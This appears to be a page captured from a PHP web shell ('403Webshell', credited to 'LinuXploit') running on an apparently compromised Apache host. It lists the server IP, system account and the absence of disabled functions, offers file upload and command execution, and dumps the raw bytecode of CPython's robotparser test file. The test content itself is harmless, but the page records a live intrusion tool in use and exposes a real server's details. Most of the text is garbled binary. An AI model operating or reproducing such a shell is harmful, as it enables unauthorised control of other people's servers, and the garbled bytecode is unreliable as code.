403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.130
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_robotparser.cpython-36.opt-2.pyc
3

�
�^`(�
@sddlZddlZddlZddlZddlmZddlmZm	Z	yddl
Z
Wnek
r`dZ
YnXGdd�d�ZGdd�deej
�ZGdd	�d	eej
�ZGd
d�deej
�ZGdd
�d
e�ZGdd�deej
�ZGdd�de�ZGdd�deej
�ZGdd�deej
�ZGdd�deej
�ZGdd�deej
�ZGdd�de�ZGdd�deej
�ZGdd�deej
�ZGd d!�d!eej
�ZGd"d#�d#eej
�ZGd$d%�d%eej
�ZGd&d'�d'eej
�ZGd(d)�d)e�Zej e
d*�Gd+d,�d,ej
��Z!Gd-d.�d.ej
�Z"e#d/k�r
ej$�dS)0�N)�support)�BaseHTTPRequestHandler�
HTTPServerc@s<eZdZdZdZgZgZdd�Zdd�Zdd�Z	d	d
�Z
dS)�
BaseRobotTest�Ztest_robotparsercCs,tj|j�j�}tjj�|_|jj|�dS)N)	�io�StringIO�
robots_txt�	readlines�urllib�robotparser�RobotFileParser�parser�parse)�self�lines�r�5/opt/alt/python36/lib64/python3.6/test_robotparser.py�setUpszBaseRobotTest.setUpcCs$t|t�r|\}}||fS|j|fS)N)�
isinstance�tuple�agent)r�urlrrrr�get_agent_and_urls
zBaseRobotTest.get_agent_and_urlcCsPxJ|jD]@}|j|�\}}|j||d��|j|jj||��WdQRXqWdS)N)rr)�goodr�subTest�
assertTruer�	can_fetch)rrrrrr�test_good_urlsszBaseRobotTest.test_good_urlscCsPxJ|jD]@}|j|�\}}|j||d��|j|jj||��WdQRXqWdS)N)rr)�badrr�assertFalserr)rrrrrr�
test_bad_urls$szBaseRobotTest.test_bad_urlsN)�__name__�
__module__�__qualname__r	rrrrrrr!rrrrr
src@s"eZdZdZddgZdddgZdS)�UserAgentWildcardTestz�User-agent: *
Disallow: /cyberworld/map/ # This is an infinite virtual URL space
Disallow: /tmp/ # these will soon disappear
Disallow: /foo.html
    �/z
/test.htmlz/cyberworld/map/index.htmlz/tmp/xxxz	/foo.htmlN)r"r#r$r	rrrrrrr%+sr%c@s eZdZdZdddgZdgZdS)�CrawlDelayAndCustomAgentTestz�# robots.txt for http://www.example.com/

User-agent: *
Crawl-delay: 1
Request-rate: 3/15
Disallow: /cyberworld/map/ # This is an infinite virtual URL space

# Cybermapper knows where to go.
User-agent: cybermapper
Disallow:
    r&z
/test.html�cybermapper�/cyberworld/map/index.htmlN)r(r))r"r#r$r	rrrrrrr'6s
r'c@seZdZdZgZdddgZdS)�RejectAllRobotsTestz(# go away
User-agent: *
Disallow: /
    z/cyberworld/map/index.htmlr&z/tmp/N)r"r#r$r	rrrrrrr*Gsr*c@seZdZdd�ZdS)�BaseRequestRateTestcCs�x�|j|jD]�}|j|�\}}|j||d��t|jrL|j|jj|�|j�|jr�|j|jj|�t	j
j�|j|jj|�j|jj�|j|jj|�j
|jj
�WdQRXqWdS)N)rr)rrrr�crawl_delay�assertEqualr�request_rateZassertIsInstancerr�RequestRateZrequestsZseconds)rrrrrr�test_request_rateSs 


z%BaseRequestRateTest.test_request_rateN)r"r#r$r0rrrrr+Qsr+c@s>eZdZdZdZejjdd�ZdZ	dgZ
ddd	d
ddd
gZdS)�CrawlDelayAndRequestRateTestz�User-agent: figtree
Crawl-delay: 3
Request-rate: 9/30
Disallow: /tmp
Disallow: /a%3cd.html
Disallow: /a%2fb.html
Disallow: /%7ejoe/index.html
    �figtree�	���	/foo.htmlz/tmpz	/tmp.htmlz/tmp/a.htmlz/a%3cd.htmlz/a%3Cd.htmlz/a%2fb.htmlz/~joe/index.htmlN)r2r6)r"r#r$r	rrrr/r.r,rrrrrrr1js	
r1c@seZdZdZdZdZdS)�DifferentAgentTestzFigTree Robot libwww-perl/5.04N)r"r#r$rr.r,rrrrr7|sr7c@s*eZdZdZdgZddddddgZd	Zd
S)�InvalidRequestRateTestz�User-agent: *
Disallow: /tmp/
Disallow: /a%3Cd.html
Disallow: /a/b.html
Disallow: /%7ejoe/index.html
Crawl-delay: 3
Request-rate: 9/banana
    z/tmpz/tmp/z/tmp/a.htmlz/a%3cd.htmlz/a%3Cd.htmlz	/a/b.htmlz/%7Ejoe/index.htmlr5N)r"r#r$r	rrr,rrrrr8�s
	
r8c@seZdZdZdgZgZdS)�InvalidCrawlDelayTestz2User-Agent: *
Disallow: /.
Crawl-delay: pears
    z	/foo.htmlN)r"r#r$r	rrrrrrr9�sr9c@s eZdZdZdZdgZdgZdS)�AnotherInvalidRequestRateTestzeUser-agent: Googlebot
Allow: /folder1/myfile.html
Disallow: /folder1/
Request-rate: whale/banana
    �	Googlebotz/folder1/myfile.htmlz/folder1/anotherfile.htmlN)r"r#r$r	rrrrrrrr:�sr:c@seZdZdZdZdgZdS)�UserAgentOrderingTestzMUser-agent: Googlebot
Disallow: /

User-agent: Googlebot-Mobile
Allow: /
    r;z/something.jpgN)r"r#r$r	rrrrrrr<�s
r<c@seZdZdZdS)�UserAgentGoogleMobileTestzGooglebot-MobileN)r"r#r$rrrrrr=�sr=c@s eZdZdZdZdgZdgZdS)�GoogleURLOrderingTestzJUser-agent: Googlebot
Allow: /folder1/myfile.html
Disallow: /folder1/
    Z	googlebotz/folder1/myfile.htmlz/folder1/anotherfile.htmlN)r"r#r$r	rrrrrrrr>�sr>c@seZdZdZdgZdgZdS)�DisallowQueryStringTestz2User-agent: *
Disallow: /some/path?name=value
    z
/some/pathz/some/path?name=valueN)r"r#r$r	rrrrrrr?�sr?c@seZdZdZdgZdgZdS)�UseFirstUserAgentWildcardTestzNUser-agent: *
Disallow: /some/path

User-agent: *
Disallow: /another/path
    z
/another/pathz
/some/pathN)r"r#r$r	rrrrrrr@�sr@c@seZdZdZdgZdgZdS)�EmptyQueryStringTestz>User-agent: *
Allow: /some/path?
Disallow: /another/path?
    z/some/path?z/another/path?N)r"r#r$r	rrrrrrrA�srAc@s0eZdZdZejjdd�ZdZddgZ	dgZ
dS)	�DefaultEntryTestzOUser-agent: *
Crawl-delay: 1
Request-rate: 3/15
Disallow: /cyberworld/map/
    r5��r&z
/test.htmlz/cyberworld/map/index.htmlN)r"r#r$r	rrr/r.r,rrrrrrrB�s
rBc@seZdZdZdZdd�ZdS)�StringFormattingTestz�User-agent: *
Crawl-delay: 1
Request-rate: 3/15
Disallow: /cyberworld/map/ # This is an infinite virtual URL space

# Cybermapper knows where to go.
User-agent: cybermapper
Disallow: /some/path
    zzUser-agent: cybermapper
Disallow: /some/path

User-agent: *
Crawl-delay: 1
Request-rate: 3/15
Disallow: /cyberworld/map/

cCs|jt|j�|j�dS)N)r-�strr�expected_output)rrrr�test_string_formattingsz+StringFormattingTest.test_string_formattingN)r"r#r$r	rGrHrrrrrE�s
rEc@seZdZdd�Zdd�ZdS)�RobotHandlercCs|jdd�dS)Ni�zForbidden access)Z
send_error)rrrr�do_GETszRobotHandler.do_GETcGsdS)Nr)r�format�argsrrr�log_messageszRobotHandler.log_messageN)r"r#r$rJrMrrrrrIsrIz threading required for this testc@s*eZdZdd�Zdd�Zejdd��ZdS)�PasswordProtectedSiteTestCasecCsBttjdft�|_tjd|jjddid�|_d|j_	|jj
�dS)NrzHTTPServer servingZ
poll_intervalg{�G�z�?)�name�target�kwargsT)rr�HOSTrI�server�	threadingZThreadZ
serve_forever�tZdaemon�start)rrrrr#sz#PasswordProtectedSiteTestCase.setUpcCs"|jj�|jj�|jj�dS)N)rSZshutdownrU�joinZserver_close)rrrr�tearDown0s

z&PasswordProtectedSiteTestCase.tearDowncCs\|jj}dtjdt|d�}|d}tjj�}|j|�|j	�|j
|jd|��dS)Nzhttp://�:rDz/robots.txt�*)rSZserver_addressrrRrFrrr
Zset_url�readr r)rZaddrrZ
robots_urlrrrr�testPasswordProtectedSite5s

z7PasswordProtectedSiteTestCase.testPasswordProtectedSiteN)r"r#r$rrXrZreap_threadsr\rrrrrN s
rNc@sFeZdZdZdje�Zedd��Zdd�Zdd�Z	d	d
�Z
dd�Zd
S)�NetworkTestCasezhttp://www.pythontest.net/z{}elsewhere/robots.txtc	Cs@tjd�tj|j�� tjj|j�|_|jj	�WdQRXdS)NZnetwork)
rZrequiresZtransient_internet�base_urlrrr
r	rr[)�clsrrr�
setUpClassEs
zNetworkTestCase.setUpClasscCs$dj|j|tjj|�dsdnd�S)Nz{}{}{}rDr&r)rKr^�os�path�splitext)rrbrrrrLszNetworkTestCase.urlcCsV|j|jj�|j|jj�|j|jj�d�|j|jjd��|j|jjd��dS)NrrZ)r r�disallow_all�	allow_allZ
assertGreater�mtimer,r.)rrrr�
test_basicQs
zNetworkTestCase.test_basiccCs�|j|jjd|jd���|j|jjd|j��|j|jjd|jd���|j|jjd|jd���|j|jjd|jd���|j|jjd|j��dS)NrZZ	elsewhereZNutchZbrianZwebstats)rrrrr r^)rrrr�test_can_fetchXszNetworkTestCase.test_can_fetchcCsftjj|jd��}|j�|j|j�|j|j�|j	|j
�d�|j|jd��|j|j
d��dS)Nzi-robot.txtrrZ)rrr
rr[rrer rdr-rfZassertIsNoner,r.)rrrrr�
test_read_404`szNetworkTestCase.test_read_404N)r"r#r$r^rKr	�classmethodr`rrgrhrirrrrr]@s
r]�__main__)%rraZunittestZurllib.robotparserrZtestrZhttp.serverrrrT�ImportErrorrZTestCaser%r'r*r+r1r7r8r9r:r<r=r>r?r@rArBrErIZ
skipUnlessrNr]r"�mainrrrr�<module>sB






	
)


Youez - 2016 - github.com/yon3zu
LinuXploit